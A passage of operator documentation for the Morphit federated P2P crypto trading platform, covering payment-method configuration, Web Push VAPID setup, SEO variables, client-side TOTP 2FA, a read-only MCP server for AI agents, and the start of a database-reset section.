DCR (cp43) — bundled https://explorer.dcrdata.org/tx/{txid} (the official Decred dcrdata explorer; see ADR-0033).
SOL (cp45) — bundled https://explorer.solana.com/tx/{txid} (the official Solana project explorer; chosen from a 5-explorer survey). See ADR-0034.
ETH (cp47) — bundled https://eth.blockscout.com/tx/{txid} (chosen for being an open-source non-aggregator project explorer with no SQL trackers; alternatives surveyed: etherscan.io, ethplorer.io, beaconcha.in/block-explorer). See ADR-0035.
XRP (cp49) — bundled https://livenet.xrpl.org/transactions/{txid} (the official XRP Ledger Foundation explorer — a non-profit organization; chosen for the non-aggregator + non-Ripple-Labs criteria). See ADR-0036.

If you choose to disable any of these instance-wide via MORPHIT_INDEXER_DISABLED_ASSETS=<TICKER>, the corresponding chat-link config has no effect on your instance.

Schema migration v32 (Part 121)

apps/indexer/src/db/schema.sql adds an orders.asset_network TEXT column for multi-network assets. Pre-Part-121 rows have asset_network IS NULL, which is the correct value for single-network assets too (BTC, XMR, BLURT, BCH, LTC, DASH, DOGE, ZEC, ARRR, DCR, SOL, ETH, XRP all single-network; USDT, USDC, DAI multi-network; all single-network assets write NULL). USDT orders carry one of 'erc20'|'trc20'|'spl'|'bep20'; USDC orders carry one of 'erc20'|'spl'|'base'|'polygon'; DAI orders carry one of 'erc20'|'polygon'|'base'|'arbitrum'.

The migration is idempotent (ADD COLUMN IF NOT EXISTS) and applied automatically on indexer startup. No operator action required beyond the standard npm run migrate flow.

Payment-method configuration

Audience: operators deciding which canonical payment methods their instance offers — most commonly whether to allow Barter (products/services, e.g. trading crypto for goods).

⚠ Two different "Barter" features — disable BOTH to fully opt out. This section covers the barter payment method (barter_goods): a way for someone selling a cryptocurrency to also accept goods/services as payment. Since cp425 there is ALSO a first-class barter asset (BARTER), where the goods/services themselves are the listing, priced in local currency and settled in a crypto the seller accepts. The asset is controlled separately under "Trade-only asset configuration" above with MORPHIT_INDEXER_DISABLED_ASSETS="BARTER". If you want NO barter of any kind on your instance, disable BOTH: the barter_goods payment method here and the BARTER asset there.

This is the payment-method analogue of "Trade-only asset configuration" above. Every canonical payment method ships ENABLED by default; an operator can turn any of them off so they don't appear in the post-order payment picker or the orderbook payment filter.

How to set this (two paths)

At install time: the morphit-ops init wizard, step 14 "Payment-method policy", asks whether to offer Barter (products/services) on your instance — the one method operators most often disable. Answering "no" writes barter_goods into the MORPHIT_INDEXER_DISABLED_PAYMENT_METHODS= line in morphit.config.env. To disable methods other than Barter, set the env var directly (next).

On a running instance: edit MORPHIT_INDEXER_DISABLED_PAYMENT_METHODS in /etc/morphit/morphit.config.env (or wherever your EnvironmentFile= points) and restart the indexer (docker compose restart indexer). Browsers see the change at most 5 minutes after restart (the /v1/instance response carries a 5-minute Cache-Control header).

`MORPHIT_INDEXER_DISABLED_PAYMENT_METHODS`

Comma-separated list of canonical payment-method keys, lowercase. Default empty (every canonical method is offered). The parser tolerates whitespace, mixed case, and trailing commas.

# Offer everything (default — same as omitting the var)
MORPHIT_INDEXER_DISABLED_PAYMENT_METHODS=""

# Money-only instance — no Barter
MORPHIT_INDEXER_DISABLED_PAYMENT_METHODS="barter_goods"

# No PayPal
MORPHIT_INDEXER_DISABLED_PAYMENT_METHODS="paypal"

# Disable several
MORPHIT_INDEXER_DISABLED_PAYMENT_METHODS="barter_goods,paypal,zelle"

Canonical payment-method keys

These come from the canonical registry (apps/web/src/lib/payments/registry.ts). Use the key, not the display name. Note the asymmetry: crypto "pay-with" methods carry a pay_ prefix; the online/bank methods do not (paypal, not pay_paypal).

In person / by mail: barter_goods (Barter — products/services), cash_in_person, precious_metals, cash_by_mail
Online / bank: airwallex, alipay, amazon_pay, apple_pay, bancontact, bitso, bizum, blik, brics_pay, cash_app, gcash, google_pay, ideal, interac_etransfer, klarna, mercado_pago, mir, mpesa, mtn_momo, oxxo_pay, payoneer, paypal, paytm, payu, pix, przelewy24, revolut, shaparak, shebapay, sofort, spei, square_cash, unionpay, venmo, wechat_pay, wise, zelle
Crypto (pay-with): pay_btc, pay_xmr, pay_blurt, pay_bch, pay_ltc, pay_dash, pay_doge, pay_zec, pay_arrr, pay_dcr, pay_sol, pay_eth, pay_xrp, pay_usdt, pay_usdc, pay_dai

Operator additions (your own region-specific methods added via morphit-ops payment-method add) can't be disabled with this knob — remove them with morphit-ops payment-method remove instead. This knob is for canonical methods only.

Interactive menu. The "Manage payment methods" item in the morphit-ops main menu (and running morphit-ops payment-method with no subcommand) opens an interactive list/add/remove menu that prompts for each field and reuses the same on-chain add/remove paths — no need to remember the flag syntax above.

Ingest + federation semantics

The indexer rejects a NEW order only when all of its payment methods are disabled (reason: 'payment_methods_all_disabled'). An order that still offers at least one enabled method is accepted as-is. Like disabled assets, this is OPERATOR-scoped: peer-instance orders that use a method you disabled still appear in your read-only orderbook (chain history is shared across the federation); your users simply can't post orders that offer ONLY disabled methods, and the picker + orderbook filter hide the disabled methods.

The parser tolerance is pinned in CI by apps/indexer/scripts/disabled-payment-methods-parse-smoke.ts (12 scenarios), and the ingest gate by two scenarios in apps/indexer/scripts/order-handler-smoke.ts (all-disabled → reject; one-enabled-remaining → accepted).

42. Web Push notifications — VAPID setup and the push-sender worker

Part 122 cp13. Morphit's notification system shipped its in-tab channels (title-bar prefix, favicon canvas badge, PWA App Badge, OS notifications via the Notification API, audio cue, vibration cue) across phases 1–4. Phase 3 — Web Push, which delivers notifications even when the user's Morphit tab is closed or their phone is locked — landed in cp13.

This section covers the operator-facing pieces: generating the VAPID keypair, plugging it into your config, what the push-sender worker does and how to monitor it, and the privacy/security trade-offs you should be aware of.

42.1 What ships

Component	Location	Purpose
VAPID keygen	`scripts/generate-vapid-keys.sh`	Generate the operator's keypair once at install time
Schema v33 — `push_subscriptions`	`apps/indexer/src/db/schema.sql`	One row per (account, browser) pairing
Schema v33 — `push_pending`	same	Durable delivery queue (FIFO drain)
Subscribe endpoints	`apps/relay/src/api/push.ts`	`GET /v1/push/vapid-public-key`, `POST /v1/push/subscribe`, `POST /v1/push/unsubscribe`
Push-sender worker	`apps/relay/src/policy/pushSender.ts`	Drains `push_pending` every `MORPHIT_RELAY_PUSH_POLL_INTERVAL_MS` (default 2 s)
Indexer enqueue	per-handler in `apps/indexer/src/indexer/handlers/`	Each notify-worthy event writes a `push_pending` row
Service worker	`apps/web/src/service-worker.ts`	Decrypts pushes and shows OS notifications
Client subscribe	`apps/web/src/lib/notifications/push.ts`	`pushManager.subscribe()` + relay registration
UI	`NotificationSettings.svelte`	Subscribe / unsubscribe button + privacy radios

42.2 Install — the VAPID keypair (generated by default)

Web Push (RFC 8292) requires the operator to hold a VAPID keypair. The public half identifies your instance to the push service so it knows pushes from your relay are legitimate.

On by default. The Ansible playbook generates this keypair for you ONCE, the first time it runs, and writes it to /etc/morphit/relay-vapid.env — which the relay unit sources automatically if present. So web push is live out of the box; you don't have to do anything. The generation is idempotent (guarded by creates:): it is never re-run on a later converge, because rotating the public key would invalidate every existing subscription on your instance. The VAPID subject defaults to your instance's public origin (https://<domain>); override it with morphit_vapid_subject in group_vars/all.yml (e.g. mailto:ops@your-domain.example). Set morphit_enable_web_push: false to skip it.

If you installed by hand, generate the keypair once into the same file the relay sources, then restart the relay:

# From the repo root, after `npm install`:
sudo bash scripts/generate-vapid-keys.sh --bare \
  --subject https://your-domain.example \
  | sudo tee /etc/morphit/relay-vapid.env >/dev/null
sudo chmod 640 /etc/morphit/relay-vapid.env
sudo systemctl restart morphit-relay

Run the script with no flags to get a human-readable version you can paste into any env file instead (it prints the three lines below with a placeholder subject):

MORPHIT_RELAY_VAPID_PUBLIC_KEY=BH5ZK...   # ~88 chars
MORPHIT_RELAY_VAPID_PRIVATE_KEY=AzbhfY... # ~44 chars — TREAT AS SECRET
MORPHIT_RELAY_VAPID_SUBJECT=mailto:operator@your-domain.example

The subject MUST be either mailto:<address> or https://<url> — it identifies you to the push services (FCM / autopush / APNS) so they can contact you if your pushes start misbehaving.

If any of the three env vars is unset, the relay starts with push disabled (/v1/push/vapid-public-key returns 503, the client UI shows "Not supported on this device", and users fall back to the in-tab channels). This is the correct behavior for operators who don't want to participate in Web Push.

Malformed key detection (cp404). A subtler failure mode is a VAPID public key that is set but invalid — truncated on a copy-paste, wrapped in quotes, or a stray newline. Previously the relay would serve whatever string it was given and the browser's pushManager.subscribe() would reject it with an opaque applicationServerKey error on the client, with nothing in the relay log to point at the cause. The relay now validates the key at startup: it must be valid base64url decoding to exactly 65 bytes whose first byte is 0x04 (an uncompressed P-256 point). If it fails that check the relay logs vapid_public_key_invalid and starts with push disabled (same 503 behavior as unset), rather than serving a key that can't work. The env vars are also trimmed of surrounding whitespace before use. If push is unexpectedly off after you set the keys, grep the relay log for vapid_public_key_invalid and re-run generate-vapid-keys.sh.

42.3 Optional tuning knobs

Variable	Default	What it does
`MORPHIT_RELAY_PUSH_POLL_INTERVAL_MS`	`2000`	How often the worker drains the queue. Lower = snappier deliveries, more DB load
`MORPHIT_RELAY_PUSH_BATCH_SIZE`	`50`	Max queue rows per tick. Caps worst-case latency
`MORPHIT_RELAY_PUSH_MAX_AGE_SECONDS`	`3600`	Drop pushes older than this. Stale notifications are worse than no notifications
`MORPHIT_RELAY_PUSH_MAX_CONSECUTIVE_FAILURES`	`5`	Delete a subscription after this many consecutive failed pushes (presumed dead browser)
`MORPHIT_RELAY_PUSH_REQUIRE_SIGNED`	`true`	When `true` (default, cp14), `/v1/push/subscribe` rejects requests without a valid posting-key signature. Set to `false` only during a brief frontend roll-forward window

42.4 What the push-sender worker actually does

Every MORPHIT_RELAY_PUSH_POLL_INTERVAL_MS (default 2 s), the worker runs one tick:

SELECT … FROM push_pending ORDER BY enqueued_at ASC LIMIT <batch_size> — drain the oldest rows.
For each row, drop if event_at is older than MORPHIT_RELAY_PUSH_MAX_AGE_SECONDS ago.
Join against push_subscriptions to find every subscribed device the target account has that has NOT opted out of the pending row's category (cp450 GAP A — a device's muted_categories blocklist, driven by the per-category Settings toggle, now governs Web Push just as it already governed the in-page path; an empty blocklist = all on).
For each device, call webpush.sendNotification() — the library signs a VAPID JWT, encrypts the payload per RFC 8291 (E2E vs the push service), and POSTs to the push service.
On 2xx, mark last_delivery_at = NOW() and reset consecutive_failures = 0.
On 410 Gone or 404, the subscription is dead — delete it.
On transient failures (429, 5xx), increment consecutive_failures. When it crosses MORPHIT_RELAY_PUSH_MAX_CONSECUTIVE_FAILURES, delete the subscription.
Always delete the push_pending row after fan-out — re-trying after a delivery attempt invites duplicates.

Logs are emitted on every non-empty tick under relay-push-sender. Per-device push failures log status codes only — never endpoint URLs or payload content (privacy invariant).

42.5 Privacy and security model

Payload content is end-to-end encrypted. The web-push library encrypts every payload per RFC 8291 using the recipient's p256dh ephemeral public key and an auth secret; the push service sees ciphertext, not text. An operator who controls the relay can see what they're enqueuing (the title and body are stored in push_pending before encryption), but the push service downstream cannot.
No subscriber IPs are stored. The subscribe endpoint is rate-limited by IP, but the IP never goes into the DB.
Subscription endpoint URLs reveal which push service the user's browser uses (fcm.googleapis.com = Google; updates.push.services.mozilla.com = Mozilla; web.push.apple.com = Apple). This is unavoidable for Web Push to function. Privacy-preserving users can either decline push (in-tab channels still work) or use a custom push server on Firefox via dom.push.serverURL.
Posting-key signature verification on subscribe (cp14). As of Part 122 cp14, /v1/push/subscribe requires every request to carry a valid posting-key signature over the canonical message morphit:push:subscribe:<account>:<sha256(endpoint)>:<timestamp>. The signature is verified against the account's posting public key fetched from the chain. ±5 minute timestamp skew is accepted. Requests without a signature, or with an invalid signature, are rejected with HTTP 401.

This closes the cp13 trade-off ("rate-limited-only auth"). The flag MORPHIT_RELAY_PUSH_REQUIRE_SIGNED=false exists for the narrow case where you're rolling a new frontend out ahead of the relay and want to accept unsigned requests briefly; in normal operation, leave it true.

Multi-key posting authorities are NOT fully supported — only the first listed key in the posting authority is accepted. This is documented because every Morphit user account is single-key in practice; if you operate a multisig posting authority, push subscribe will fail for you and we'll need a follow-on checkpoint.
End-to-end vs the push service, NOT vs the operator (DD-2 audit clarification). Payload encryption per RFC 8291 protects the message body from Google FCM, Mozilla autopush, and Apple — they see ciphertext, not text. The OPERATOR's relay, however, sees the localized title and body strings pass through the push_pending table before encryption. Everything that ends up in those fields is derived from PUBLIC chain events (sender names, ratings, order permlinks) that the operator could already observe by reading the chain; the queue cache adds no leak beyond chain visibility. Chat content is never in any push payload — the indexer doesn't hold chat encryption keys.
Unsubscribe is signed + rate-limited (cp131 MED-009 — supersedes the pre-cp131 DD-4 audit clarification). /v1/push/unsubscribe requires the same posting-key signature as subscribe over the canonical message morphit:push:unsubscribe:<account>:<sha256(endpoint)>:<timestamp>, and the endpoint is per-IP rate-limited (20/hour, same shape as subscribe). Pre-cp131 reasoning ("if we required sig-verify on unsubscribe, a user who locked their session couldn't stop notifications") is preserved by accepting unsigned unsubscribes in cp13-compat mode when MORPHIT_RELAY_PUSH_REQUIRE_SIGNED=false AND by the client falling back to unsigned when the session is locked (the browser-side PushSubscription.unsubscribe() already cuts off future deliveries; the relay-side delete is best-effort cleanup). ACTION-binding in the canonical message prevents subscribe↔unsubscribe signature replay (verified by 5 scenarios in apps/relay/scripts/canonical-message-cross-check-smoke.ts). Real attack closed: an adversary with a DB-leaked (account, endpoint) list could pre-cp131 mass-fire unsubscribes and DoS notifications federation-wide.
Captured-signature replay window is bounded but non-zero (DD-7 audit clarification). The subscribe signature has a ±5 minute timestamp skew tolerance. An adversary who captured a subscribe request from a user could replay it within 5 minutes. Replay creates a subscription for the USER'S device (the endpoint is bound to that device by the push service), so the adversary can't divert push delivery to themselves. The realized attack is "user unsubscribed but their device starts receiving notifications again until they unsubscribe a second time." Nuisance, not security failure. Mitigation cost (server-side nonce cache for 5 minutes) outweighs the attack value.

42.6 Monitoring + troubleshooting

Single-relay assumption (DD-10 audit clarification). The push-sender worker does NOT use SELECT … FOR UPDATE SKIP LOCKED when draining push_pending. If two relay processes ran against the same database — not the current Morphit topology per ADR-0011 — both workers would SELECT the same rows and double-deliver. A future HA deployment would need to add row locking; today's single-relay-per-instance pattern makes this a non-issue.

The worker is silent on a quiet queue. If no events are enqueued, no logs. The first sign of trouble is usually a matrix-bot alert that push_pending row count is growing unbounded (set up via the resource-monitor sidecar pattern in §16.5).

Common operator-side issues:

Subscribe endpoint returns 503 push_disabled. Your VAPID env vars aren't all set. Re-run the keygen and verify each line is present in your relay's env file.
Pushes are delivered but the user reports not seeing them. Three checks: (a) the user's browser has notification permission for your origin (chrome://settings/content/notifications, about:preferences#privacy etc); (b) the user has subscribed on the device that should receive (browsers don't share subscriptions across devices); (c) the user hasn't muted notifications via the in-app mute-for / quiet-hours controls.
Subscriptions table grows without bound. The auto-cleanup on 410 Gone handles browsers that gracefully unsubscribed, but stale rows can accumulate. Periodically check SELECT COUNT(*) FROM push_subscriptions WHERE last_delivery_at < NOW() - interval '90 days' and consider pruning manually if the count grows large.

42.7 Rotating VAPID keys

Avoid this unless your private key is exposed. Rotating the public key invalidates every existing subscription on your instance — users will need to re-subscribe. Procedure:

Generate a new keypair via scripts/generate-vapid-keys.sh.
Post a notice to your community channel (Matrix, etc.): "Web Push subscriptions will reset on ; please re-enable in Settings if you use push."
Update your env file with the new values.
Restart the relay.
TRUNCATE push_subscriptions; — all rows are now bound to the old public key and won't work.
Users re-subscribe via the Settings UI.

43. SEO override env vars — homepage title/description/keywords + Twitter card

Audience: operators who want to override the bundled homepage SEO copy with something tailored to their audience without forking the frontend. All fields are optional — leave any of them unset and the bundled svelte-i18n value (or no emission, for the Twitter handle) is used.

The frontend reads these via /v1/instance, so changes propagate after the indexer config is re-read (restart morphit-indexer after editing the env file).

Edit these from the TUI (cp311): morphit-ops edit → Branding & SEO now edits these three SEO vars and the displayed-branding vars (MORPHIT_INSTANCE_NAME, _TAGLINE, _CONTACT_URL) in one section. Each field is keep-current: press Enter to leave it unchanged, type - to clear it, or type a new value (spaces are quoted for you, so a name like Morphit NL is written safely — unlike a raw hand-edit of a shell-sourced env file). This is the supported way to change the bold name on your directory card / browser title bar; see the cp311 note under §"Alt-network addresses" for how the own-card name propagates.

Available env vars

MORPHIT_INSTANCE_SEO_TITLE — overrides the homepage <title> and <meta property="og:title">. Max 200 chars. Operators with curated audiences (e.g. a Persian-speaking community) can swap in language-specific or audience-specific copy here. When set, the override applies AS-IS — no — InstanceName suffix is appended (you author the full title you want).

MORPHIT_INSTANCE_SEO_DESCRIPTION — overrides <meta name="description"> and <meta property="og:description">. Max 500 chars; Google truncates after about 155 chars in SERPs, so aim for ≤150.

MORPHIT_INSTANCE_SEO_KEYWORDS — overrides <meta name="keywords">. Most modern crawlers ignore this, but Yandex, Baidu, and some federated indexers still consume it. Max 500 chars; comma-separated.

MORPHIT_INSTANCE_SEO_TWITTER_SITE (cp119-A4) — optional X / Twitter handle for <meta name="twitter:site">. When set (e.g. @morphit), Twitter cards include "via @morphit" attribution. When unset, the meta tag is omitted entirely — the card still renders without it. Format: must start with @, 1-15 alphanumeric/underscore chars (Twitter's handle limit). Operators who don't have or don't want an X presence simply leave this unconfigured.

Example morphit.config.env block

# Optional: override homepage SEO copy
MORPHIT_INSTANCE_SEO_TITLE="My Instance — privacy-first P2P crypto trading"
MORPHIT_INSTANCE_SEO_DESCRIPTION="Trade BTC, XMR, BLURT and more directly with people in your region. No KYC, non-custodial, federated."
MORPHIT_INSTANCE_SEO_KEYWORDS="p2p crypto, no kyc, bitcoin, monero, federated marketplace"
# Optional: X handle for Twitter Card attribution
MORPHIT_INSTANCE_SEO_TWITTER_SITE="@morphit"

Restart the indexer after editing, then verify via:

curl -sf https://yourinstance.example/v1/instance | jq '.seo'

44. User-side optional TOTP 2FA — operator-side notes

TL;DR for operators: zero action required. 2FA is a purely client-side, opt-in feature. The Morphit web app offers it as an option from Settings → Two-factor authentication. The TOTP secret and backup-code hashes are stored inside the user's encrypted keystore, alongside their identity. The indexer and relay are not involved in the 2FA flow at any point.

What you (the operator) should know

The user enrolls — not you. There is no operator-side toggle to enable, disable, or require 2FA for users of your instance. Morphit users own their keys; we don't gate them.
There's no server-side state. The relay holds no TOTP secrets, no backup codes, no 2FA enabled/disabled flag for any user. The encrypted keystore lives in the user's browser storage (or wherever they exported it).
Reports of "I lost my 2FA, can you reset it?" — you can't. The correct response is: "I can't reset your 2FA because Morphit doesn't hold your keystore or your secrets. If you still have your 12-word seed phrase — or, if you signed in with an existing Blurt account, your Keyfile or your original Blurt key — you can sign out and re-import to recover. If you saved your 10 backup codes at enrollment, type one of those at the unlock screen instead of the 6-digit code. If you don't have either, the keystore isn't recoverable." This is documented in the user-facing FAQ (totp_2fa_lost_authenticator).
No support for "force 2FA before withdrawing $X" or similar paternalism. ADR-0043 documents the rejection of this pattern: gating user funds on a second factor that the user can lose, on a non-custodial wallet, is contradictory.
No telemetry on enrollment. The relay does not know which users on your instance have 2FA enabled. No metric is reported, no log line surfaces the fact. This is intentional.

Recommending apps to users

Morphit's recommended-apps list ships in apps/web/src/lib/auth/recommendedAuthenticatorApps.ts and is surfaced to the user at enrollment time. It currently recommends Aegis (Android), 2FAS (iOS + Android), and Ente Auth (cross-platform). All three are open source.

The same file also explicitly tells users why Morphit does NOT recommend Google Authenticator, Microsoft Authenticator, or Authy. Operators who get pushback on this from a user who prefers a closed-source authenticator can point them at ADR-0043 §"Open-source-only recommended-app policy" or the FAQ entry totp_2fa_why_not_google_authenticator. The user is free to use any TOTP-compatible app — Morphit accepts the standard otpauth:// URI — but Morphit will only recommend open-source options.

If a user reports "the TOTP code never works"

Almost always device clock drift. TOTP requires the user's device clock to be within 90 seconds of NTP-correct time (Morphit's TOTP verifier accepts ±1 step on either side of the current 30-second window, so up to ±90s drift). On desktops, this is almost never an issue. On phones with buggy NTP sync, it can be — direct the user to enable automatic date/time in their system settings.

Source pointers

ADR-0043 — design rationale
apps/web/src/lib/auth/totp.ts — RFC 6238 implementation
apps/web/src/lib/crypto/keystoreTotp.ts — unlock-time gate
apps/web/src/lib/crypto/keystoreTotpEnroll.ts — enrollment
apps/web/src/routes/[lang]/settings/security/2fa/+page.svelte — user-facing UI

45. MCP server — AI agent surface

The Morphit MCP server (apps/mcp-server) exposes this instance's federated orderbook to MCP-compatible AI agents — Claude Desktop, Cursor, Cline, Continue, Windsurf, Zed, and any local LLM stack built on @modelcontextprotocol/sdk. Five read-only tools:

Tool	What it does
`morphit_search_orders`	Search the live P2P orderbook for trades (filter by asset, side, fiat, region).
`morphit_list_instances`	Federation directory — the known Morphit instances and their URLs.
`morphit_list_payment_methods`	The payment-method slugs the configured instance accepts.
`morphit_get_listing`	Fetch one listing in full detail by `(account, permlink)`.
`morphit_describe`	A structured, current description of Morphit — what it is, how it works.

Why operators are encouraged to enable this

AI agents are becoming the new search layer. When a user asks their LLM "where can I buy XMR with cash near me," an MCP-connected agent can answer from your orderbook in real time and hand them a deeplink to your frontend. Your instance appears in answers, not just in search-engine results.

Federation-wide effect: every Morphit instance running MCP enlarges the shared AI-discoverable surface for the project. Opting out shrinks it.

Security posture

The MCP server holds no keys, no privileges, no write paths. Tools return public orderbook data (the same data already served at /v1/orderbook etc.) plus deeplinks back to your frontend. The user's wallet still executes the actual trade — the agent is strictly a discovery surface.

Transport. The service runs the Streamable-HTTP transport (MORPHIT_MCP_TRANSPORT=http, set in the unit) in stateless, JSON-response mode — no sessions, no long-lived SSE. It binds 127.0.0.1:8124 by default and is fail-closed: it accepts loopback or a private/bridge address — e.g. set MORPHIT_MCP_HTTP_HOST=172.18.0.1 in /etc/morphit/mcp.env so a dockerized reverse proxy (BunkerWeb) can reach it across the Docker bridge, exactly as you do for the indexer/relay listen host — but refuses 0.0.0.0/:: or a public address unless you explicitly set MORPHIT_MCP_ALLOW_PUBLIC_BIND=1. Public exposure is meant to go through the reverse proxy (below), never a direct public bind. (The default Host allowlist auto-includes whatever address it binds, so a bridge bind passes DNS-rebinding protection without extra config.)

Defenses (all on by default, tunable in /etc/morphit/mcp.env). DNS-rebinding protection via a Host allowlist (MORPHIT_MCP_ALLOWED_HOSTS, default the loopback Host values), enforced by both our own middleware and the SDK transport; an Origin allowlist that rejects any browser Origin by default (add trusted ones via MORPHIT_MCP_ALLOWED_ORIGINS); a per-client token-bucket rate limit (MORPHIT_MCP_RATE_LIMIT_PER_MIN, default 120/min); a hard request-body cap (MORPHIT_MCP_MAX_BODY_BYTES, default 256 KiB); a connection ceiling (MORPHIT_MCP_MAX_CONNECTIONS, default 64); and slowloris header/request timeouts. Outbound fetches to the instance API are SSRF-guarded (private hostnames/IPs refused, body-capped, redirects rejected). The unit adds a seccomp allowlist (SystemCallFilter=@system-service), ProtectSystem=strict, ReadOnlyPaths, an empty capability set, UMask=0077, and MemoryMax=256M.

Local agents (Claude Desktop, Cline, Cursor, …) that spawn the server themselves use stdio instead — set MORPHIT_MCP_TRANSPORT=stdio (the source default) and point the client's command at the server.

Resource cost

~30 MiB RAM at idle, negligible CPU. The systemd unit (ops/systemd/morphit-mcp.service) caps memory at 256 MiB and task count at 128 — plenty of headroom for legitimate spikes.

Setup

On by default. The Ansible playbook (the canonical installer) deploys and enables MCP automatically on every node — you don't have to do anything. Because MCP is the most exposed surface, it runs isolated: the role creates a low-privilege morphit-mcp user and deploys a self-contained copy of the server to /opt/morphit-mcp (via ops/scripts/deploy-mcp.sh, which vendors the two pure, zero-dependency @morphit/* workspace packages so the directory needs no reach back into /opt/morphit). ProtectSystem=strict + ReadOnlyPaths then lock it down so the MCP process cannot read your DB password or relay keys. Set morphit_mcp_enabled: false in group_vars/all.yml to skip it, or toggle it any time at runtime with sudo morphit-ops mcp.

If you installed by hand instead of via Ansible, create the service user FIRST (so the deploy chowns the tree to it), then deploy and enable the unit — order matters:

# 1. Isolated service group + user (nologin, home is the deploy dir):
sudo groupadd --system morphit-mcp 2>/dev/null || true
sudo useradd --system --gid morphit-mcp --no-create-home \
  --shell /usr/sbin/nologin --home-dir /opt/morphit-mcp morphit-mcp 2>/dev/null || true

# 2. Its directory, owned by the service user:
sudo mkdir -p /opt/morphit-mcp
sudo chown morphit-mcp:morphit-mcp /opt/morphit-mcp
sudo chmod 0750 /opt/morphit-mcp

# 3. Point the MCP at THIS node (else it defaults to morphit.io):
echo "MORPHIT_MCP_INSTANCE_URL=https://YOUR-DOMAIN" | sudo tee /etc/morphit/mcp.env >/dev/null
sudo chmod 0644 /etc/morphit/mcp.env

# 4. Deploy the self-contained tree (vendors deps, npm install, chowns):
sudo bash ops/scripts/deploy-mcp.sh "$PWD" /opt/morphit-mcp morphit-mcp

# 5. Install + enable the unit (it runs the HTTP transport automatically):
sudo cp ops/systemd/morphit-mcp.service /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable --now morphit-mcp.service

Verify it's listening — the unit sets MORPHIT_MCP_TRANSPORT=http, so it stays up as a loopback HTTP service rather than exiting immediately as a bare stdio process would:

curl http://127.0.0.1:8124/health     # → {"status":"ok","transport":"http"}
ss -ltnp | grep 8124                    # systemd-owned listener on loopback
morphit-ops health                       # Services: mcp — running

morphit-ops upgrade runs this same /health check for you after it redeploys and restarts the MCP — but it probes the configured bind read from /etc/morphit/mcp.env (MORPHIT_MCP_HTTP_HOST/_PORT), not a hard-coded loopback. On a dockerized-BunkerWeb host that bind is the Docker bridge gateway (172.18.0.1:8124), so the probe follows the service wherever it actually listens. A failed probe only prints a warning (the MCP is isolated, read-only, and non-critical — a miss never rolls back an otherwise good upgrade); it tells you to check journalctl -u morphit-mcp and confirm the bind in mcp.env.

The wizard (morphit-ops init, step 21) also sets MORPHIT_MCP_ADVERTISE=true in your morphit.config.env so the indexer advertises mcp_url for federation discovery.

If you skipped MCP at wizard time and want to enable it later:

# Flip the advertise flag in morphit.config.env:
sudo sed -i 's/^MORPHIT_MCP_ADVERTISE=false/MORPHIT_MCP_ADVERTISE=true/' \
  /etc/morphit/morphit.config.env

# Start the service:
sudo systemctl enable --now morphit-mcp.service

# Restart the indexer so /v1/instance starts advertising mcp_url:
sudo systemctl restart morphit-indexer.service

Reverse proxy (public exposure)

If you installed via the Ansible playbook, this is already done for you — the canonical dockerized-BunkerWeb stack now proxies /mcp to the host MCP automatically (the morphit role binds the MCP so the BunkerWeb frontend can reach it across the Docker bridge, the bunkerweb role opens UFW for the MCP port to the bunkerweb_net CIDR only, and the frontend nginx carries a /mcp location). The playbook also defaults morphit_mcp_advertise: true, so /v1/instance.mcp_url advertises the live <origin>/mcp for federation discovery. Set morphit_mcp_enabled: false to skip the MCP, or morphit_mcp_advertise: false to run it without announcing it.

If instead you front Morphit with your own host nginx (no BunkerWeb), the shipped ops/nginx/web.conf already includes the equivalent /mcp location (loopback upstream). And if you hand-roll a different proxy, add a location block like:

location /mcp/ {
    proxy_pass http://127.0.0.1:8124/;
    # Present the loopback Host upstream so the MCP's default
    # DNS-rebinding allowlist (127.0.0.1:8124) accepts it.  If you'd
    # rather forward your public Host, add it to MORPHIT_MCP_ALLOWED_HOSTS
    # in /etc/morphit/mcp.env instead.
    proxy_set_header Host 127.0.0.1:8124;
    # Real client IP for the MCP's per-client rate limiter (it trusts
    # the leftmost XFF only because the upstream peer is loopback).
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
    # MCP responses can be long-running for federation queries.
    proxy_read_timeout 120s;
}

The indexer's /v1/instance response will then include mcp_url: "https://<your-origin>/mcp" (built from MORPHIT_INDEXER_PUBLIC_ORIGIN plus /mcp). AI agent operators discover this via the federation directory and configure their clients accordingly.

Dockerized reverse proxy (e.g. BunkerWeb). If your proxy runs in a container it can't reach the host's 127.0.0.1, so — exactly as for the indexer and relay — bind the MCP to the Docker bridge gateway instead: set MORPHIT_MCP_HTTP_HOST=172.18.0.1 in /etc/morphit/mcp.env, point the proxy at http://172.18.0.1:8124/, and verify with curl http://172.18.0.1:8124/health. No MORPHIT_MCP_ALLOW_PUBLIC_BIND is needed (the bridge gateway is a private address, not a public bind), and the default Host allowlist already accepts 172.18.0.1:8124.

Disabling

The grandma-friendly switch (priority #3) is the morphit-ops menu: run morphit-ops and choose Check & operate → MCP server (AI-agent discovery): turn on or off, or go straight there with:

sudo morphit-ops mcp

It shows the current service state and offers to enable+start or stop+disable the unit for you (sudo-aware — bare systemctl when run as root, sudo systemctl otherwise), so you never have to remember the exact unit name. Disabling MCP never affects human traders — only the AI-agent discovery surface goes dark; re-enable any time by running it again.

If you prefer the raw systemctl path, there are two switches:

Stop advertising (still serve to local clients): set MORPHIT_MCP_ADVERTISE=false in morphit.config.env, restart morphit-indexer.service.
Stop the service entirely: sudo systemctl disable --now morphit-mcp.service (this is exactly what morphit-ops mcp runs for you).

Source pointers

apps/mcp-server/README.md — protocol overview, tool schemas
apps/mcp-server/src/tools/ — implementations
ops/systemd/morphit-mcp.service — hardened systemd unit
apps/indexer/src/api/instance.ts — /v1/instance.mcp_url field
packages/operator-config/src/index.ts — MORPHIT_MCP_ADVERTISE allowlist entry

46. Resetting the indexer database (schema drift after an upgrade)

You only need this if morphit-ops doctor reports a database-schema problem, or the indexer logs errors about missing columns/tables right after an upgrade. On a healthy node you can ignore this section.

Why this can happen

Before the 1.0 launch, the database layout lives in a single baseline file (apps/indexer/src/db/schema.sql) that we edit in place between versions rather than shipping a separate numbered migration each time. Your database records that it already ran that baseline once, so when you upgrade to a version whose baseline gained a new table or column, the indexer does not re-run the baseline on your existing database — and the newer code can end up expecting structures the database doesn't have.

Two things now tell you when this is the case:

morphit-ops upgrade prints a one-line reminder at the end when the upgrade you just applied crossed a schema change.
morphit-ops doctor runs a read-only check and reports Database schema (drift detected) with the exact tables/columns that are missing. (Pass --no-db to skip this check, e.g. when Postgres is down.)

Why it's safe to fix by resetting

